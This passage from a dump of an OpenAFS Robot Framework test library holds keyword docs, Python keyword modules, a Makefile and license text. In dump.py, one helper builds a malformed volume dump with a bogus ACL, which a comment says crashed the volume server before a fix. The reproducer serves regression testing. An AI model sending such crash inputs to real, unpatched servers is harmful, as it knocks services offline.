count.\n\nLogin\n-----\n\n**Arguments**\n\n.. list-table::\n :header-rows: 1\n\n * - Name\n - Default value\n - Notes\n * - user\n - \n - required\n * - password\n - None\n - \n * - keytab\n - None\n - \n\n**Documentation**\n\nAcquire an AFS token for authenticated access.\n\nLogout\n------\n\n**Documentation**\n\nRelease the AFS token.\n\nMount Volume\n------------\n\n**Arguments**\n\n.. list-table::\n :header-rows: 1\n\n * - Name\n - Default value\n - Notes\n * - path\n - \n - required\n * - vol\n - \n - required\n * - options\n - \n - \n\n**Documentation**\n\nMount a volume on a path.\n\nPag From Groups\n---------------\n\n**Arguments**\n\n.. list-table::\n :header-rows: 1\n\n * - Name\n - Default value\n - Notes\n * - gids\n - None\n - \n\n**Documentation**\n\nReturn the PAG from the given group id list.\n\nPag Shell\n---------\n\n**Arguments**\n\n.. list-table::\n :header-rows: 1\n\n * - Name\n - Default value\n - Notes\n * - script\n - \n - required\n\n**Documentation**\n\nRun a command in the pagsh and returns the output.\n\nPag Should Be Valid\n-------------------\n\n**Arguments**\n\n.. list-table::\n :header-rows: 1\n\n * - Name\n - Default value\n - Notes\n * - pag\n - \n - required\n\n**Documentation**\n\nFails if the given PAG number is out of range.\n\nPag Should Exist\n----------------\n\n**Documentation**\n\nFails if a PAG is not set.\n\nPag Should Not Exist\n--------------------\n\n**Documentation**\n\nFails if a PAG is set.\n\nRelease Volume\n--------------\n\n**Arguments**\n\n.. list-table::\n :header-rows: 1\n\n * - Name\n - Default value\n - Notes\n * - name\n - \n - required\n\n**Documentation**\n\nRelease the volume.\n\nRemove Volume\n-------------\n\n**Arguments**\n\n.. list-table::\n :header-rows: 1\n\n * - Name\n - Default value\n - Notes\n * - name_or_id\n - \n - required\n * - path\n - None\n - \n * - flush\n - False\n - \n * - server\n - None\n - \n * - part\n - None\n - \n * - zap\n - False\n - \n\n**Documentation**\n\nRemove a volume.\n\nRemove the volume and any clones. Optionally remove the given mount point.\n\nShould Be A Dump File\n---------------------\n\n**Arguments**\n\n.. list-table::\n :header-rows: 1\n\n * - Name\n - Default value\n - Notes\n * - filename\n - \n - required\n\n**Documentation**\n\nFails if filename is not an AFS dump file.\n\nShould Be Dir\n-------------\n\n**Arguments**\n\n.. list-table::\n :header-rows: 1\n\n * - Name\n - Default value\n - Notes\n * - path\n - \n - required\n\n**Documentation**\n\nFails if path is not a directory.\n\nShould Be File\n--------------\n\n**Arguments**\n\n.. list-table::\n :header-rows: 1\n\n * - Name\n - Default value\n - Notes\n * - path\n - \n - required\n\n**Documentation**\n\nFails if path is not a file.\n\nShould Be Symlink\n-----------------\n\n**Arguments**\n\n.. list-table::\n :header-rows: 1\n\n * - Name\n - Default value\n - Notes\n * - path\n - \n - required\n\n**Documentation**\n\nFails if path is not a symlink.\n\nShould Not Be Dir\n-----------------\n\n**Arguments**\n\n.. list-table::\n :header-rows: 1\n\n * - Name\n - Default value\n - Notes\n * - path\n - \n - required\n\n**Documentation**\n\nFails if path is a directory.\n\nShould Not Be Symlink\n---------------------\n\n**Arguments**\n\n.. list-table::\n :header-rows: 1\n\n * - Name\n - Default value\n - Notes\n * - path\n - \n - required\n\n**Documentation**\n\nFails if path is a symlink.\n\nSymlink\n-------\n\n**Arguments**\n\n.. list-table::\n :header-rows: 1\n\n * - Name\n - Default value\n - Notes\n * - src\n - \n - required\n * - dst\n - \n - required\n * - code_should_be\n - 0\n - \n\n**Documentation**\n\nCreate a symlink.\n\nUnlink\n------\n\n**Arguments**\n\n.. list-table::\n :header-rows: 1\n\n * - Name\n - Default value\n - Notes\n * - path\n - \n - required\n * - code_should_be\n - 0\n - \n\n**Documentation**\n\nUnlink the directory entry.\n\nVolume Location Matches\n-----------------------\n\n**Arguments**\n\n.. list-table::\n :header-rows: 1\n\n * - Name\n - Default value\n - Notes\n * - name_or_id\n - \n - required\n * - server\n - \n - required\n * - part\n - \n - required\n * - vtype\n - rw\n - \n\n**Documentation**\n\nFails if volume is not located on the given server and partition.\n\nVolume Should Be Locked\n-----------------------\n\n**Arguments**\n\n.. list-table::\n :header-rows: 1\n\n * - Name\n - Default value\n - Notes\n * - name\n - \n - required\n\n**Documentation**\n\nFails if the volume is not locked.\n\nVolume Should Be Unlocked\n-------------------------\n\n**Arguments**\n\n.. list-table::\n :header-rows: 1\n\n * - Name\n - Default value\n - Notes\n * - name\n - \n - required\n\n**Documentation**\n\nFails if the volume is locked.\n\nVolume Should Exist\n-------------------\n\n**Arguments**\n\n.. list-table::\n :header-rows: 1\n\n * - Name\n - Default value\n - Notes\n * - name_or_id\n - \n - required\n\n**Documentation**\n\nVerify the existence of a read-write volume.\n\nFails if the volume entry is not found in the VLDB or the volume is\nnot present on the fileserver indicated by the VLDB.\n\nVolume Should Not Exist\n-----------------------\n\n**Arguments**\n\n.. list-table::\n :header-rows: 1\n\n * - Name\n - Default value\n - Notes\n * - name_or_id\n - \n - required\n\n**Documentation**\n\nFails if volume exists.\n\n" }, { "alpha_fraction": 0.5379877090454102, "alphanum_fraction": 0.5395277142524719, "avg_line_length": 26.05555534362793, "blob_id": "7eebe4e7d1bd7054db6f00e9dfdd792951863899", "content_id": "b259b4d0d2c59ae5e7c709a9068def20cbd77822", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer", "BSD-2-Clause", "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1948, "license_type": "permissive", "max_line_length": 73, "num_lines": 72, "path": "/docs/librst.py", "repo_name": "openafs-contrib/robotframework-openafslibrary", "src_encoding": "UTF-8", "text": "#\n# Generate a rst file with robot.libdoc for the sphinx doc tree.\n#\n# Robotframework 4.0 or better is required for the libdoc json support.\n#\n\nimport json\nimport robot.libdoc\n\n\ndef write_arguments(f, args):\n \"\"\"\n Write the argument table for a keyword.\n \"\"\"\n f.write('**Arguments**\\n\\n')\n f.write('.. list-table::\\n')\n f.write(' :header-rows: 1\\n')\n f.write('\\n')\n f.write(' * - Name\\n')\n f.write(' - Default value\\n')\n f.write(' - Notes\\n')\n for a in args:\n rq = 'required' if a['required'] else ''\n dv = a['defaultValue'] if a['defaultValue'] else ''\n f.write(' * - %s\\n' % a['name'])\n f.write(' - %s\\n' % dv)\n f.write(' - %s\\n' % rq)\n f.write('\\n')\n\n\ndef write_keyword(f, keyword):\n \"\"\"\n Write the keyword documentation.\n \"\"\"\n if not keyword['doc']:\n raise AssertionError(\n 'Missing doc for keyword \"%s\" in file \"%s\".' %\n (keyword['name'], keyword['source']))\n f.write('%s\\n%s\\n\\n' % (keyword['name'], '-' * len(keyword['name'])))\n if keyword['args']:\n write_arguments(f, keyword['args'])\n f.write('**Documentation**\\n\\n')\n f.write('%s\\n\\n' % keyword['doc'])\n\n\ndef main():\n \"\"\"\n Generate the keyword.rst file with libdoc.\n \"\"\"\n # First, generate an intermediate machine readable file.\n robot.libdoc.LibDoc().execute(\n '../OpenAFSLibrary/',\n 'build/libdoc.json',\n format='json',\n docformat='html',\n quiet=True)\n\n # Load our intermediate json file.\n with open('build/libdoc.json') as f:\n libspec = json.load(f)\n\n # Write the rst output.\n with open('source/keywords.rst', 'w') as f:\n f.write('Keywords\\n')\n f.write('========\\n\\n')\n f.write('Version: %s\\n\\n' % (libspec['version']))\n for keyword in libspec['keywords']:\n write_keyword(f, keyword)\n\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.5700643658638, "alphanum_fraction": 0.5839734077453613, "avg_line_length": 33.647483825683594, "blob_id": "5ceeb4009325cf83c071643dea30ad3fceaf8894", "content_id": "619dab7fd7bc0535df5135af05a8214a2cf6b3b7", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer", "BSD-2-Clause", "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4817, "license_type": "permissive", "max_line_length": 110, "num_lines": 139, "path": "/OpenAFSLibrary/keywords/pag.py", "repo_name": "openafs-contrib/robotframework-openafslibrary", "src_encoding": "UTF-8", "text": "# Copyright (c) 2014-2016, Sine Nomine Associates\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions are met:\n#\n# 1. Redistributions of source code must retain the above copyright notice, this\n# list of conditions and the following disclaimer.\n#\n# 2. Redistributions in binary form must reproduce the above copyright notice,\n# this list of conditions and the following disclaimer in the documentation\n# and/or other materials provided with the distribution.\n#\n# THE SOFTWARE IS PROVIDED 'AS IS' AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\n# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\n# OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n#\n\nimport os\nimport subprocess\nfrom robot.api import logger\nfrom OpenAFSLibrary.variable import get_var, get_bool\nfrom OpenAFSLibrary.six import PY2\n\nPAG_MIN = 0x41000000\nPAG_MAX = 0x41ffffff\nPAG_ONEGROUP = True\n\ndef _get_pag_from_one_group(gids):\n pag = None\n for gid in gids:\n if PAG_MIN <= gid <= PAG_MAX:\n if pag is None:\n pag = gid\n logger.debug(\"pag=%d\" % (pag))\n else:\n raise AssertionError(\"More than one PAG group found.\")\n return pag\n\ndef _get_pag_from_two_groups(g0, g1):\n pag = None\n g0 -= 0x3f00\n g1 -= 0x3f00\n if g0 < 0xc000 and g1 < 0xc000:\n l = ((g0 & 0x3fff) << 14) | (g1 & 0x3fff)\n h = (g0 >> 14)\n h = (g1 >> 14) + h + h + h\n x = ((h << 28) | l)\n if PAG_MIN <= x <= PAG_MAX:\n pag = x\n return pag\n\ndef _pag_from_groups(gids):\n logger.debug(\"gids=%s\" % (gids,))\n pag = None\n try:\n PAG_ONEGROUP = get_bool('PAG_ONEGROUP')\n except:\n PAG_ONEGROUP = True\n\n if PAG_ONEGROUP:\n pag = _get_pag_from_one_group(gids)\n elif len(gids) > 1:\n pag = _get_pag_from_two_groups(gids[0], gids[1])\n return pag\n\nclass _PagKeywords(object):\n\n def pag_from_groups(self, gids=None):\n \"\"\"Return the PAG from the given group id list.\"\"\"\n logger.debug(\"gids=%s\" % (gids,))\n if gids is None:\n gids = os.getgroups()\n else:\n # Convert the given string to a list of ints.\n gids = [int(x.strip('[],')) for x in gids.split()]\n pag = _pag_from_groups(gids)\n if pag is None:\n pag = 'None'\n else:\n pag = '%d' % pag\n return pag\n\n def pag_should_exist(self):\n \"\"\"Fails if a PAG is not set.\"\"\"\n gids = os.getgroups()\n pag = _pag_from_groups(gids)\n if pag is None:\n raise AssertionError(\"PAG is not set\")\n logger.debug(\"ok\")\n\n def pag_should_not_exist(self):\n \"\"\"Fails if a PAG is set.\"\"\"\n gids = os.getgroups()\n pag = _pag_from_groups(gids)\n if pag is not None:\n raise AssertionError(\"PAG is set (%d)\" % (pag))\n logger.debug(\"ok\")\n\n def pag_should_be_valid(self, pag):\n \"\"\"Fails if the given PAG number is out of range.\"\"\"\n if pag is None:\n raise AssertionError(\"PAG is None.\")\n pag = pag.rstrip()\n if pag == 'None' or pag == '':\n raise AssertionError(\"PAG is None.\")\n pag = int(pag)\n logger.info(\"Checking PAG value %d\" % (pag))\n if not PAG_MIN <= pag <= PAG_MAX:\n raise AssertionError(\"PAG is out of range: %d\" % (pag))\n logger.debug(\"ok\")\n\n def pag_shell(self, script):\n \"\"\"Run a command in the pagsh and returns the output.\"\"\"\n PAGSH = get_var('PAGSH')\n logger.info(\"running %s\" % (PAGSH,))\n logger.debug(\"script=%s\" % (script,))\n if not PY2:\n script = script.encode('ascii')\n pagsh = subprocess.Popen(PAGSH, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n (output, error) = pagsh.communicate(input=script)\n code = pagsh.wait()\n if code == 0:\n logger.debug(\"stdin=%s\" % (script,))\n logger.debug(\"code=%d\" % (code,))\n logger.debug(\"stdout=%s\" % (output,))\n logger.debug(\"stderr=%s\" % (error,))\n else:\n logger.info(\"stdin=%s\" % (script,))\n logger.info(\"code=%d\" % (code,))\n logger.info(\"stdout=%s\" % (output,))\n logger.info(\"stderr=%s\" % (error,))\n raise AssertionError(\"Failed to run pagsh!\")\n if not PY2:\n output = output.decode('ascii')\n return output\n\n" }, { "alpha_fraction": 0.680266797542572, "alphanum_fraction": 0.6818360090255737, "avg_line_length": 25.55208396911621, "blob_id": "0455dd879f7c109329bea95059a12de731092691", "content_id": "2b1844ab7f0fb99ecc2a26d3e5cff2049fb15ade", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer", "BSD-2-Clause", "MIT" ], "is_generated": false, "is_vendor": false, "language": "Makefile", "length_bytes": 2549, "license_type": "permissive", "max_line_length": 78, "num_lines": 96, "path": "/Makefile", "repo_name": "openafs-contrib/robotframework-openafslibrary", "src_encoding": "UTF-8", "text": "# Copyright (c) 2018 Sine Nomine Associates\n\nhelp:\n\t@echo \"usage: make <target> [<target> ...]\"\n\t@echo \"\"\n\t@echo \"Packaging targets:\"\n\t@echo \" sdist create source distribution\"\n\t@echo \" wheel create wheel distribution\"\n\t@echo \" rpm create rpm package\"\n\t@echo \" deb create deb package\"\n\t@echo \" upload upload packages to pypi.org\"\n\t@echo \"\"\n\t@echo \"Installation targets:\"\n\t@echo \" install install package (user mode)\"\n\t@echo \" uninstall uninstall package\"\n\t@echo \"\"\n\t@echo \"Development targets:\"\n\t@echo \" init initialize development environment\"\n\t@echo \" lint run python linter\"\n\t@echo \" checkdocs validate documents\"\n\t@echo \" docs generate documents\"\n\t@echo \" test run unit tests\"\n\t@echo \" clean delete generated files\"\n\t@echo \" distclean delete generated and config files\"\n\ninclude Makefile.config\n\nVIRTUAL_ENV ?= .venv\n\n.venv:\n\t$(PYTHON) -m venv .venv\n\t.venv/bin/pip install -U pip wheel\n\t.venv/bin/pip install -r requirements.txt\n\ninit: .venv\n\t@$(PYTHON) version.py >OpenAFSLibrary/__version__.py\n\nsource = \\\n OpenAFSLibrary/command.py \\\n OpenAFSLibrary/__init__.py \\\n OpenAFSLibrary/variable.py \\\n OpenAFSLibrary/keywords/acl.py \\\n OpenAFSLibrary/keywords/cache.py \\\n OpenAFSLibrary/keywords/command.py \\\n OpenAFSLibrary/keywords/dump.py \\\n OpenAFSLibrary/keywords/__init__.py \\\n OpenAFSLibrary/keywords/login.py \\\n OpenAFSLibrary/keywords/pag.py \\\n OpenAFSLibrary/keywords/path.py \\\n OpenAFSLibrary/keywords/rx.py \\\n OpenAFSLibrary/keywords/volume.py\n\nlint: init\n\t$(VIRTUAL_ENV)/bin/pyflakes $(source)\n\ncheckdocs: init # requires collective.checkdocs\n\t$(VIRTUAL_ENV)/bin/python setup.py checkdocs\n\n.PHONY: doc docs\ndoc docs: init\n\t$(MAKE) -C docs librst html\n\ntest: init\n\t$(VIRTUAL_ENV)/bin/python -m unittest -v test\n\nsdist: init\n\t$(VIRTUAL_ENV)/bin/python setup.py sdist\n\nwheel: init\n\t$(VIRTUAL_ENV)/bin/python setup.py bdist_wheel\n\nrpm: init\n\t$(VIRTUAL_ENV)/bin/python setup.py bdist_rpm\n\ndeb: init\n\t$(VIRTUAL_ENV)/bin/python setup.py --command-packages=stdeb.command bdist_deb\n\nupload: sdist wheel\n\t.venv/bin/twine upload dist/*\n\ninstall: init\n\t$(MAKE) -f Makefile.$(INSTALL) $@\n\nuninstall:\n\t$(MAKE) -f Makefile.$(INSTALL) $@\n\nclean:\n\trm -f *.pyc test/*.pyc OpenAFSLibrary/*.pyc OpenAFSLibrary/keywords/*.pyc\n\trm -fr $(NAME).egg-info/ build/ dist/\n\trm -fr $(NAME)*.tar.gz deb_dist/\n\trm -f MANIFEST\n\ndistclean: clean\n\trm -f OpenAFSLibrary/__version__.py\n\trm -f Makefile.config\n\trm -f files.txt\n" }, { "alpha_fraction": 0.6273870468139648, "alphanum_fraction": 0.6413600444793701, "avg_line_length": 38.39449691772461, "blob_id": "0817a44d0f7bec35ff981b315eecf2b49aaae621", "content_id": "d2053a1aa06b051f8f7a3fcb67d6e72bed3375eb", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer", "BSD-2-Clause", "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4294, "license_type": "permissive", "max_line_length": 97, "num_lines": 109, "path": "/OpenAFSLibrary/keywords/dump.py", "repo_name": "openafs-contrib/robotframework-openafslibrary", "src_encoding": "UTF-8", "text": "# Copyright (c) 2014-2015 Sine Nomine Associates\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions are met:\n#\n# 1. Redistributions of source code must retain the above copyright notice, this\n# list of conditions and the following disclaimer.\n#\n# 2. Redistributions in binary form must reproduce the above copyright notice,\n# this list of conditions and the following disclaimer in the documentation\n# and/or other materials provided with the distribution.\n#\n# THE SOFTWARE IS PROVIDED 'AS IS' AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\n# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\n# OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n#\n\nimport struct\n\nclass VolumeDump(object):\n \"\"\"Helper class to create and check volume dumps.\"\"\"\n\n DUMPBEGINMAGIC = 0xB3A11322\n DUMPENDMAGIC = 0x3A214B6E\n DUMPVERSION = 1\n\n D_DUMPHEADER = 1\n D_VOLUMEHEADER = 2\n D_VNODE = 3\n D_DUMPEND = 4\n\n @staticmethod\n def check_header(filename):\n \"\"\"Verify filename is a dump file.\"\"\"\n file = open(filename, \"rb\")\n size = struct.calcsize(\"!BLL\")\n packed = file.read(size)\n file.close()\n if len(packed) != size:\n raise AssertionError(\"Not a dump file: file is too short.\")\n (tag, magic, version) = struct.unpack(\"!BLL\", packed)\n if tag != VolumeDump.D_DUMPHEADER:\n raise AssertionError(\"Not a dump file: wrong tag\")\n if magic != VolumeDump.DUMPBEGINMAGIC:\n raise AssertionError(\"Not a dump file: wrong magic\")\n if version != VolumeDump.DUMPVERSION:\n raise AssertionError(\"Not a dump file: wrong version\")\n\n def __init__(self, filename):\n \"\"\"Create a new volume dump file.\"\"\"\n self.file = open(filename, \"wb\")\n self.write(self.D_DUMPHEADER, \"LL\", self.DUMPBEGINMAGIC, self.DUMPVERSION)\n\n def write(self, tag, fmt, *args):\n \"\"\"Write a tag and values to the dump file.\"\"\"\n packed = struct.pack(\"!B\"+fmt, tag, *args)\n self.file.write(packed)\n\n def close(self):\n \"\"\"Write the end of dump tag and close the dump file.\"\"\"\n self.write(self.D_DUMPEND, \"L\", self.DUMPENDMAGIC) # vos requires the end tag\n self.file.close()\n self.file = None\n\nclass _DumpKeywords(object):\n \"\"\"Volume dump keywords.\"\"\"\n volid = 536870999 # random, but valid, volume id\n\n def _create_empty_dump(self, filename):\n \"\"\"Create the smallest possible valid dump file.\"\"\"\n dump = VolumeDump(filename)\n dump.write(ord('v'), \"L\", self.volid)\n dump.write(ord('t'), \"HLL\", 2, 0, 0)\n dump.write(VolumeDump.D_VOLUMEHEADER, \"\")\n dump.close()\n\n def _create_dump_with_bogus_acl(self, filename):\n \"\"\"Create a minimal dump file with bogus ACL record.\n\n The bogus ACL would crash the volume server before gerrit 11702.\"\"\"\n size, version, total, positive, negative = (0, 0, 0, 1000, 0) # positive is out of range.\n dump = VolumeDump(filename)\n dump.write(ord('v'), \"L\", self.volid)\n dump.write(ord('t'), \"HLL\", 2, 0, 0)\n dump.write(VolumeDump.D_VOLUMEHEADER, \"\")\n dump.write(VolumeDump.D_VNODE, \"LL\", 3, 999)\n dump.write(ord('A'), \"LLLLL\", size, version, total, positive, negative)\n dump.close()\n\n def should_be_a_dump_file(self, filename):\n \"\"\"Fails if filename is not an AFS dump file.\"\"\"\n VolumeDump.check_header(filename)\n\n def create_dump(self, filename, size='small', contains=''):\n \"\"\"\n Generate a volume dump file.\n \"\"\"\n if contains == 'bogus-acl':\n self._create_dump_with_bogus_acl(filename)\n elif size == 'empty':\n self._create_empty_dump(filename)\n elif size == 'small':\n self._create_empty_dump(filename) # todo: create a dump file\n else:\n raise ValueError('unsupported size arg: %s' % (size))\n" }, { "alpha_fraction": 0.7953466176986694, "alphanum_fraction": 0.8038936257362366, "avg_line_length": 49.14285659790039, "blob_id": "a3d2b5e75f7c07a573f078638d6c272c170f07fc", "content_id": "54b462984d6476001165f78302b5a7f98d97619e", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer", "BSD-2-Clause", "MIT" ], "is_generated": false, "is_vendor": false, "language": "reStructuredText", "length_bytes": 2106, "license_type": "permissive", "max_line_length": 80, "num_lines": 42, "path": "/docs/source/license.rst", "repo_name": "openafs-contrib/robotframework-openafslibrary", "src_encoding": "UTF-8", "text": "License\n=======\n\nCopyright (c) 2014-2021, Sine Nomine Associates\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions are met:\n\n1. Redistributions of source code must retain the above copyright notice, this\n list of conditions and the following disclaimer.\n\n2. Redistributions in binary form must reproduce the above copyright notice,\n this list of conditions and the following disclaimer in the documentation\n and/or other materials provided with the distribution.\n\nTHE SOFTWARE IS PROVIDED 'AS IS' AND THE AUTHOR DISCLAIMS ALL WARRANTIES\nWITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\nMERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\nANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\nWHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\nACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\nOR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n\n\nsix.py: Copyright (c) 2010-2018 Benjamin Peterson\n\nPermission is hereby granted, free of charge, to any person obtaining a copy of\nthis software and associated documentation files (the \"Software\"), to deal in\nthe Software without restriction, including without limitation the rights to\nuse, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of\nthe Software, and to permit persons to whom the Software is furnished to do so,\nsubject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS\nFOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR\nCOPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER\nIN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN\nCONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n" }, { "alpha_fraction": 0.758293867111206, "alphanum_fraction": 0.758293867111206, "avg_line_length": 37.3636360168457, "blob_id": "343321151d811e32272c253568a793b486ffeb36", "content_id": "6f217071ec64a61ddd0d117ed325b4e65d0a9967", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer", "BSD-2-Clause", "MIT" ], "is_generated": false, "is_vendor": false, "language": "reStructuredText", "length_bytes": 422, "license_type": "permissive", "max_line_length": 77, "num_lines": 11, "path": "/docs/source/overview.rst", "repo_name": "openafs-contrib/robotframework-openafslibrary", "src_encoding": "UTF-8", "text": "Overview\n========\n\nThe **OpenAFS Library** is a **Robot Framework** keyword library for creating\ntest cases for the `OpenAFS distributed filesystem`_.\n\nThe OpenAFS clients and servers should be already be installed and configured\nbefore running tests. The **OpenAFS Library** and **Robot Framework** should\nbe installed on at least one host in the test cell.\n\n.. _`OpenAFS distributed filesystem`: https://www.openafs.org\n" }, { "alpha_fraction": 0.5783450603485107, "alphanum_fraction": 0.5823692083358765, "avg_line_length": 35.140907287597656, "blob_id": "0bb423015b5080a78cdf8000dea6d3b8ef5560c7", "content_id": "e247667db836f534e00cfb990a9c77755d401618", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer", "BSD-2-Clause", "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7952, "license_type": "permissive", "max_line_length": 98, "num_lines": 220, "path": "/OpenAFSLibrary/keywords/path.py", "repo_name": "openafs-contrib/robotframework-openafslibrary", "src_encoding": "UTF-8", "text": "# Copyright (c) 2014-2018 Sine Nomine Associates\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions are met:\n#\n# 1. Redistributions of source code must retain the above copyright notice, this\n# list of conditions and the following disclaimer.\n#\n# 2. Redistributions in binary form must reproduce the above copyright notice,\n# this list of conditions and the following disclaimer in the documentation\n# and/or other materials provided with the distribution.\n#\n# THE SOFTWARE IS PROVIDED 'AS IS' AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\n# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\n# OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n#\n\nimport os\nimport random\nfrom OpenAFSLibrary.six.moves import range\nfrom robot.api import logger\nimport errno\n\ndef _convert_errno_parm(code_should_be):\n \"\"\" Convert the code_should_be value to an integer\n If code_should_be isn't an integer, then try to use\n the code_should_be value as a errno \"name\" and extract\n the errno value from the errno module.\n \"\"\"\n try:\n code = int(code_should_be)\n except ValueError:\n try:\n code = getattr(errno, code_should_be)\n except AttributeError:\n raise AssertionError(\"code_should_be '%s' is not a valid errno name\" % code_should_be)\n return code\n\nclass _PathKeywords(object):\n\n def create_files(self, path, count=1, size=0, depth=0, width=0, fill='zero'):\n \"\"\"\n Create a directory tree of test files.\n\n path\n destination path\n count\n number of files to create in each directory\n size\n size of each file\n depth\n sub-directory depth\n width\n number of sub-directories in each directory\n fill\n test files data pattern\n\n Valid fill values:\n\n * zero - fill with zero bits\n * one - fill with one bits\n * random - fill with pseudo random bits\n * fixed - fill with repetitions of fixed bits\n \"\"\"\n BLOCKSIZE = 8192\n count = int(count)\n size = int(size)\n depth = int(depth)\n width = int(width)\n\n if fill == 'zero':\n block = bytearray(BLOCKSIZE)\n elif fill == 'one':\n block = bytearray(BLOCKSIZE)\n elif fill == 'random':\n random.seed(0) # Always make the same psuedo random sequence.\n block = bytearray(random.getrandbits(8) for _ in range(BLOCKSIZE))\n elif fill == 'fixed':\n hexstring = 'deadbeef'\n ncopies = BLOCKSIZE // len(hexstring)\n block = bytearray.fromhex(hexstring * ncopies)\n else:\n raise ValueError(\"Invalid fill type: %s\" % fill)\n\n nblocks = size // BLOCKSIZE\n partial_size = size % BLOCKSIZE\n if partial_size:\n partial_block = block[0:partial_size]\n\n def make_files(p, count):\n for i in range(0, count):\n name = os.path.join(p, '%d' % (i))\n with open(name, 'wb') as f:\n for _ in range(0, nblocks):\n f.write(block)\n if partial_size:\n f.write(partial_block)\n\n def make_tree(p, d):\n if d > depth:\n return\n if not os.path.isdir(p):\n os.mkdir(p)\n if count:\n make_files(p, count)\n for i in range(0, width):\n make_tree('%s/d%d' % (p, i), d + 1)\n\n make_tree(path, 0)\n\n\n def directory_entry_should_exist(self, path):\n \"\"\"Fails if directory entry does not exist in the given path.\"\"\"\n base = os.path.basename(path)\n dir = os.path.dirname(path)\n if not base in os.listdir(dir):\n raise AssertionError(\"Directory entry '%s' does not exist in '%s'.\" % (base, dir))\n\n def should_be_file(self, path):\n \"\"\"Fails if path is not a file.\"\"\"\n if not path:\n raise AssertionError(\"Empty argument!\")\n if not os.path.isfile(path):\n raise AssertionError(\"%s is not a file.\" % path)\n\n def file_should_be_executable(self, path):\n \"\"\"Fails if path is not an executable file for the current user.\"\"\"\n if not path:\n raise AssertionError(\"Empty argument!\")\n if not os.access(path, os.X_OK):\n raise AssertionError(\"%s is not executable.\" % path)\n\n def should_be_symlink(self, path):\n \"\"\"Fails if path is not a symlink.\"\"\"\n if not path:\n raise AssertionError(\"Empty argument!\")\n if not os.path.islink(path):\n raise AssertionError(\"%s is not a symlink.\" % path)\n\n def should_not_be_symlink(self, path):\n \"\"\"Fails if path is a symlink.\"\"\"\n if not path:\n raise AssertionError(\"Empty argument!\")\n if os.path.islink(path):\n raise AssertionError(\"%s is a symlink.\" % path)\n\n def should_be_dir(self, path):\n \"\"\"Fails if path is not a directory.\"\"\"\n if not path:\n raise AssertionError(\"Empty argument!\")\n if not os.path.isdir(path):\n raise AssertionError(\"%s is not a directory.\" % path)\n\n def should_not_be_dir(self, path):\n \"\"\"Fails if path is a directory.\"\"\"\n if not path:\n raise AssertionError(\"Empty argument!\")\n if os.path.isdir(path):\n raise 